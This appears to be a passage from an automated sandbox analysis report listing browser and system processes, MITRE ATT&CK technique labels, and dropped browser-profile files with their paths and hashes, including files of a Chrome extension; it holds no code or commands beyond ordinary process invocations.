  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=7564,i,7604302649152877002,4480141336297287114,2097152 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=7648 /prefetch:1
  2⤵
  PID:3328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7456,i,14160022824800605356,8404400676567077488,524288 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=7692 /prefetch:14
  2⤵
  PID:8356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --metrics-shmem-handle=7880,i,15625543676991431579,15609148812822420606,2097152 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=7884 /prefetch:1
  2⤵
  PID:8824

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:688

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4616

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:7272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:7364

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
PID:7808

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
PID:8384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:9116

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\e63339f0e9474c798b2ae99bfc9305bc /t 2072 /p 2696
1⤵
PID:3348

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004B4 0x00000000000004BC
1⤵
PID:2052

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39bb855 /state1:0x41c64e6d
1⤵
PID:3904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:7444

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 f0ffa0ddfde7b3e5a5310a12f2196bb47b9cdd9ac0acd8b3382c442fa84d5a88
MD5 389a185f9046b3510f2369b739678889
SHA1 4c8d2213cf38d71142d82fecb3fef3ea2e385c9e
SHA512 010cf6af38440a96deb00da0eb76f3e05b06b53efc7697a0c19837f48cec3c4e92be885cfcb5686530dc6cd05ace2711b2b8adeaf76fe603956be6f1c9cebd22
MD5 SHA1 SHA512

Submit Download

2de0ab07-ee6a-4c5a-8494-dd2fab7e119c.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\2de0ab07-ee6a-4c5a-8494-dd2fab7e119c.tmp
Size 11KB
SHA256 3f9d42faca2f3dcd79f6fa409fe9d80efe95a6c3eccac3279277c8323f8c5d04
MD5 16f24a276dbf4b6cd1c9aa68378cf0d2
SHA1 78c6cf748a795c014654d5db7899eb637548b2fe
SHA512 b49bb7174d4ff0cbc2ddf93c10d520bab4041749b13b1db4a785d964e8cc1691cf1eee2cb9a607d168999e0f7e78d9f5f6f33f0553e5be3d55378e75c8004d96
SSDEEP 192:esz4K6mQ7KxkXqK4I40pUZNCgVLHrKHfFKslEZESXzKD/pQ+ErUkKN9KjCxBRqrn:lzjxQ7KxkXqKf/pUZNCgVLH2HfgslzSR
TLSH
T10A32D927A48E9A3F0FD8D51CD8136F4BADF5425262280D2496FB9D0803E57CA115A5F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 192B
SHA256 fe36e44ca2ec472cdbbc63f1d4e31176f9f14614db5398568723c9054304c3de
MD5 d1f6ddd67d7303a8dec5c9d03a228464
SHA1 9dd14f509ad07aa7b7981412fec0b67620c1b2a2
SHA512 bd586883afe5e340fc8b7073cfbd701abbe3af11521e46884dc15e7d35ac16e14b3ccbabde13c6b06e496d96bf08a4136408cc1d37f5061cd719e6ee17e122eb
TLSH
T161C08C20B6900440CF90D6389C135C90A0410B3A44300E7B826CDC845223AF47D02C8A
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\000003.log
Size 95B
SHA256 5b149d68659ebeab90f1116b8704a32dc240fbf85171bd4a4f70d57a3d8d4bb8
MD5 021b8d293c14358bb37b18ba45792aa5
SHA1 22e73b3a1d152734191bf7de9472a54be346b706
SHA512 ba8ed4be209dd74c7e76bbb3f9bc8cfd2965ae9bb927ef44ae7a30498c15f46065f1bed4e6ea544ad6732bc5e7ba71154c0b70e3beff8ecf459cd747038e3f65
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 91c6f536e5e5858556b58981b747bbec34cd0c32d39fc3226efb25c56da8924a
MD5 e1094047bed105d3e08528d5a35ebe0b
SHA1 2e59fa24a563fc60dcc023195275eec8a27ef112
SHA512 b5e906e1482480c1f9419d4c8897f7f6b5b7f877b584f652986631fa21ed70c01c4ebce4708e67d47b042f121809d38d5f8743aeee5b80e9710b44372f156cab
TLSH
T1A9419CF7C3E4867D892156F49A156E1FCE690628032C3866C9E4AE1B93E2871E11079F
MD5 SHA1 SHA512 TLSH

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 521B
SHA256 d3dacfc8a7b64337741f156806d55fcbd62c0373c30ca7832699ca928068e000
MD5 900843abeb6a251fb4618877a3c4472d
SHA1 28d04dcbdd8c84fd8d53d9674a67c511d56a0e78
SHA512 5302272927f3606523b7ff65d5f0f8fd5bb49037bb6033d80fa234cb8a503e6e6ee449037cad3580990a22b88d1143ad9185a19d54659fbf9a79c822999c4fd2
TLSH
T171F059A7A66B7A67007984AF9D09B806ACF6F436015158F8CFAA436CE0866F70F02543
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 4fc7f2ca8c0536b38a36462940b54ee88cedd88989443ade21e95507d8debfbb
MD5 923325c76a92bd6daee2d42169180a6f
SHA1 0eb659bc7b600e9d869b434ba78c9fc42ac772b5
SHA512 a3e05b26be77334932d21d832419158a3012d25f5f80cf18a571f3c2e8b98ff57f8488d0eceb946f7be3c0334a8c159a16fd0677eebd1a79e64ee649f4513990
SSDEEP 192:dRE3Pb48n/v7DvAPRp2ob964Hsb+WNnTSzsT2Mzew28we0pVyIsnAUgR:dRE3TrnXH6Xnbwe02s28we0PR
TLSH
T1AC32A63EB964697B6DCBD22AF9217F57E7F5102221902E80E6FC896C14E7ACC3217417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 43ad11d1fb5c027bbb375fabf62ad1d443caed1c47796360651f8ea348673ce7
MD5 7c2eac82c32df85c1c038fcf7e04e955
SHA1 dc99dc193af5e64db3e7e69bcfb9d68c6d65d68e
SHA512 1f6bb3b7478dd532283bc771394b4c66c2e0153e2edd096e292eae70f28563f8ac8982db9f31a4c30cc9a83969a2f583eeed7248bfcdbe4ecc4a968a3f022dec
SSDEEP 192:dRE8Pb48n/v7DvAPRp2oI964Hsb+WNhgcTSzVaWDzew28we0pVyIsnAUgR:dRE8TrnXH6X8bwm8W528we0PR
TLSH
T17142A63EA964297B6DDBD22AF9217B57E7F5102220902E80F7FC896C11E7ACC3217417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 01ef396f0788397d9135706d560f92dd7beb03d7d1281c196d2d84059e97a54d
MD5 bc2369a7d2d4ca644c92f309b23cbca6
SHA1 0b4c4c3b45181cc2c1d54d95d9ea41f65adc0895
SHA512 74121b923fdfdbc1caee609e0760463fce07cc189c2c081d1933bbf9c51a804ba3a0daef9ef5b8a584219264b900c95c1952cd3c8da142e6d5a26042f009b337
SSDEEP 192:dREEPb48n/v7DvAPRp2oe964Hsb+WNIATSz0jYVzew28wet/rPyIsnAUgE:dREETrnXH6XSbw4MYz28wet/fE
TLSH
T18442953EA964697B6DCBD219F9657F57E7F5102220902E80FAFC892C25E7ACC3217017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index
Size 72B
SHA256 1a4c865a79114959f20bcc221649619f9bd8635d57a1b44bbb6a0e24774ca999
MD5 52f22f0a7296f3997327b4dcd13546da
SHA1 9d6743fef66491684cf20101f59dc22536c3748b
SHA512 8720dff035df6759d1ef665fe5e989607639365184bedace042514fe37771c6bae53bf820137a217e4d5d69493efe83cce3234fa92ab3bc8b1100bbd75b11302
TLSH
T19CA0029059E12D11CE28E1B470658692364658552C64C343C4928A84C85B0C08232D49
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a97dc.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index~RFe5a97dc.TMP
Size 48B
SHA256 d92c0e1fe099798b34327ada9ec32c73c1aece562d49518a3f5d5732d8c6e1d3
MD5 a1f1027095b987027c924fb0ac1327e3
SHA1 bcf985340dacb6ad31ad0a427ff8533f2bb63bc9
SHA512 1f46d89e455faa1fdb6f6efb1207a3db11edfcac9da0116f1c3d5a01604034a983acc155e70071880f673f8f272fa3b0fcfee2d033a2939d5f851c5ce5ab0535
MD5 SHA1 SHA512

Submit Download

index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnGraphiteCache\index
Size 256KB
SHA256 f4f9ed51466c2667706cbf43220032abcf5ce91483bcea665a3eaecc29580856
MD5 eaf713926a37c8c81bf82ab9f3db45fd
SHA1 9f96c20ccc98cf566fd771de3d9adcf9307a7ea1
SHA512 a583cf9ed18057b91ddf5d7dde60d68bf2ec3a637e63dc2b0fffa45c0ab336171b61c2cbb37078627ad9427056b70d3902441a1f4aa8d11a8d7b948867e9a1ff
SSDEEP 3:LstlNllklkXleVht:LsX3lPeft
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnWebGPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnWebGPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnWebGPUCache\index
Size 256KB
SHA256 cdc373b930839c6c6dddc3977098cf34134416d93c1a14265c42b13d5c90a384
MD5 49e89308d947506dea5b012943017dda
SHA1 c49c386172a1ddb45c9472096fad23e4ec549e0b
SHA512 2b57f81c7710b76cd7fe126f469cfa216fb9a6334403f2b78879fcbd32b560a197764bb5f525bcf0b019bc7242c212b1a50cbcfea7cff7cacfdbb8d1d677984c
SSDEEP 3:LstlNllklkXlAIK/t:LsX3lPAPt
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\index
Size 256KB
SHA256 c61ec8f9a8601cfd87e249a54dc27a9167a6b4d0a5031a85255283efb515c1b6
MD5 b3ce13f7eeef8e25f10f7410ff595a9f
SHA1 7ac7182b7133ca9c1326b5d72961e98ce95b74c4
SHA512 aa7c53776b19c6ec2ebd56d2709cbaca2a035a076107fc9ff0b08d09bddd5482024c4f46eac08069b152494d31fc8c6cf888cbaaa6a4399f4309c112f12ff0ce
SSDEEP 3:LstlNllklkXl/V7lt:LsX3lP/Vht
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 36b61d0ccd2fb5e5f8024235a786e09edbeaaff53b2c32ada9981b0fda2c2941
MD5 a0120984c445309d4ecd4900637295c3
SHA1 75850e47e218371a077d94684105837e65b71dae
SHA512 d1fd64f5367910ff130a678c04ca7fd9d014e3a90d6ed18477477f535aa7f93c21b752d91da8901f120c0f24472568a2fba80f3a429d8ecd37979993865fb924
SSDEEP 96:gC0d+cAOIt5aDVmufj7jcbRDotok5yACDyRjB6/dGyv95S/9hbb2Jv4a:gC0LA/TE57cDUDquUweS1hbKl
TLSH
T1C9A10975B8A85EB75D75D545F4827E83CF78A127A9216F80D8DD1F0C10E70EC1382A27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 7f690be2df53f6aec269d4529058d6953ac8909c191bd9268115f143c34f272a
MD5 d7055ce2bf6a91a27b3bc399573daa19
SHA1 bcc4604392945b944f0508ad497bf2453085d477
SHA512 2e64a8746863e66bb62f5b9c834b3167a2219072dd53b606a7048c9ba69fe0e6da63bac85b8e5bb619d20c55116d6f4986a0e6671a4269463d36e2b0ac22c658
SSDEEP 96:xzC6qd+cAOIt5aDVmufj7k2czSl8h4otop5yApDyRjB6GLGyv9JtFiO0AuSw9ct+:RCTLA/TE576iU23uA+tFGSwutD16UZvQ
TLSH
T189C11A74A8AC2E735EF6A855F582BD838FB4A057A9566E848DED4F0C01C34EC1383613
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 126KB
SHA256 25f7da3df9e934dade970b579ee51c5de747419f7fdb09fdc68104a74b902c52
MD5 28dbcaab5822265a0307cb6fe8890600
SHA1 0e0062c3fac56736db2eb8dae35131c2ffab0a25
SHA512 71b54a472c5e0510b0faf9b8ba962a2adc75dd33bee75b3370292b11faeccb24076a4b639852e74301a88f1f2d229746131a77f306ddd2e026a2f4a3bd665b07
SSDEEP 3072:vjyipVv/+bzUz7sxmT4zxHKmcHTxmmS+t3x9czDGYmlpkXa/:beUz7sIT4zBj23SGBkXc
TLSH
T19EC312FDFC25FEB3D9391224464F684E6D4680AF9055177386EEA987170369C2227872
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 126KB
SHA256 7c736a6af5960ade2345181e7ef458cfe0e484706175a7f8e542b55bb64e358e
MD5 dc75ceaa7604a541aaec4eba0040ce28
SHA1 db911c2624be3b62f629df64c7e91166ee195ea3
SHA512 43e80476bba971e7cba9a74d05985b94628f2cf0a3d35190820439a92a5fa53182eced3253aa4202a29018a3f9c831a099302762be302a1e0b90ea76c75c8b54
SSDEEP 3072:QjyipVv/+bzUz7sxmT4zxHKmcHTxmmS+t3x9czDGYmlpkXa/:IeUz7sIT4zBj23SGBkXc
TLSH
T146C312FDFC25FEB3D83D1224464F784E6D4680AF9055177386EEAA8B170369C2227872
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 126KB
SHA256 addca9aed3f932bc473efe65fafb5601c70586893599d240c2b0b3b0ecd6bc3a
MD5 f4a222c0dbca43bcefe976595e87fecd
SHA1 20c570b6953c3e7b97c6be4bf48750c49cdc136e
SHA512 e4abde5b44ab8b6f0f16391a3076b76f1551461e392c79dff4457f606b89b74d9c96563d50f5de3f3e4a7558e4b341668e8d085f5edcbb5114f5a9ecce9d72de
SSDEEP 3072:gjyipVv/+bzUz7sxmT4zxHKmcHTxmmS+t3x9czDGYmlpkXa/:YeUz7sIT4zBj23SGBkXc
TLSH
T13DC312FDFC25FEB3D83D1224468F784E6D4680AF9055177386EEA98B170369C2227872
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e413e02b9e80ee8d76d52c1043fc32251e2d7634d4b2fbd970df9ace9d91831a
MD5 22959b3a06a842ac30237dd57e8a3801
SHA1 0b7c28071a592034aa2607038000f085c7bb6362
SHA512 644add9ab912ad7fdfc55bc7a1b84482c75cc9bc69a59d169bae63a0400619d999846ebbadb0ef2bd6d35c2bd08a5f07053b600874dd5dfcbda7e8f3076131fe
TLSH
T1A5D02BE476408A0CC980203335F6524092018910D801D1480040B325CC845C1257F0DF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 8aaa68aad07ba45abe53bd513aa5f7e7b21bd1b29db6e1d5c1e0a79a5f4eb890
MD5 74012bbce5fada7634c1da1b567562b3
SHA1 09db27f38f27e35986cfd407b57f6f83c8fc59f8
SHA512 c1a6a98f972793c84274c29552107bfe07b775c7c8121e5fdf137ebf9a7cc3f4eb43fe9eadfc842e7b92ca7281bbcea3d660bdd8fc9adc56add068510c41e48d
TLSH
T1FBD02BE07640890CC980203335F75240920189108401D1480040F335CC845C1257E0CF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 8e3e7ab37e403b155b837628649f2d3c36101e7bdfcec9cd411c37d143c3b521
MD5 94b71e3f11167cdfb323239a05db0c07
SHA1 f3c1d0528a0888b5846f269eb7514b1fb77eefd2
SHA512 41a163d68848706c57a95b488577626688dac4278773669b6d29dd32d13d6c764038a6ffaccb089d1c619703651f15180209975373ac5e486412eaf9084c5a35
TLSH
T1B1D023F0BC22E3D1C60D003184700600122747217A83E3925080740DDDB4040F2FFEDF
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

f_00003e

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00003e
Size 29KB
SHA256 945b1879933bbc5258e255af8c56c4875858f0129b99428afebf9ea8bc1c54d9
MD5 dc19fcb6d8c1dcead0ce6eb87aaf0d72
SHA1 f113f177cb1ce1d6350b71d905deeca581cb4e26
SHA512 d0427195840632ce55a634865ef43771957879ca1bdb55d8fad07a4996d4e0f3dfff8af583bd8365231e2b24c9d6880da5f7d82087d17e4bbad42bdc7544fed5
SSDEEP 768:tW5M611wnYrzb63j7R/KOjhAq+4uzCe++dK:Ev1hm3j7R/KQVruGl+dK
TLSH
T198D2E19BF3A18B478940263CB9734BC693FFA01424C5DD125758A8D47707FE0E8AA6F9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 a000070afd5a1b9d93e80bc0454993ce26e866166ff839bdb134e7dc4c46aed6
MD5 dcb25e25ac177044a9d66535ab0ea6a0
SHA1 010a298aacd8e2228803b60eaff25392253f8d18
SHA512 7254df63e265cab667d0ab263d64725a5bea5756fbb0bb56418eacf9451b37b13adbe65cc8d0425d74c99a4506886c6aa2e741b76be54f6b23a8558a6ff5a68f
TLSH
T16951744D933B2BC9D72545B55CE0D7863FB8DBAE018B7E136C586D7C2A9234865100F3
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 888a9bfea1b56cde877552235eb7b777348acf4bf07017701b4bf9355f0489e2
MD5 c7010c5ec4229de03b063a8dd1916245
SHA1 3fa93b4a2b0b2b0b95498fded14de7cb081e4db1
SHA512 4a218cc02cf5b2806b8ea2a6d748dba6ff9611b0f115c7680250779c8f481612186d16d64e624e0f6a8a6a72b57e13962d13761796226b572163dfce18729469
TLSH
T17E51745D833B2BC9D72545B59CE0D7863FB8DBAE018B7E136C586D7C2A9234865100F3
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log
Size 285B
SHA256 fff9c841af450dfefe7f284f645d4a26b048e6bd5709ad766b308172bc260a53
MD5 785c71b68bf89a0e9973e06d76434ab1
SHA1 2eb96ed892a724f5f223fe37abbd075d448d45e3
SHA512 a84d94a4b22d325a41b84c193a2e279bc3969085d87eda3fad0dc1032989bd26e67aba7cefa085838590e5aef8958c40e22a000d158fd80782b614dcdbc55030
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 4733ce5a3cff7cbfb18b4f40287c7e87c4c40e9b9dddff031797bb7e361e22d7
MD5 a238137fef0c3a09aa1e544972d37474
SHA1 c96ce19dbdbb3c0f415df25c87108b05de79b136
SHA512 922624f6bb387bfb655d4248fac7ae24bacf09ff86f9bf518141d1b19df0ba1a595d9be1a841dc42bb4da472cebe0794928df8ce6420f68df0e08b7b6dfb8b93
TLSH
T1D6519DF3C3E4866EC91156F0AA146E2BCF6D0514432C3C5ACAE4AE5B93E3471E141A5F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
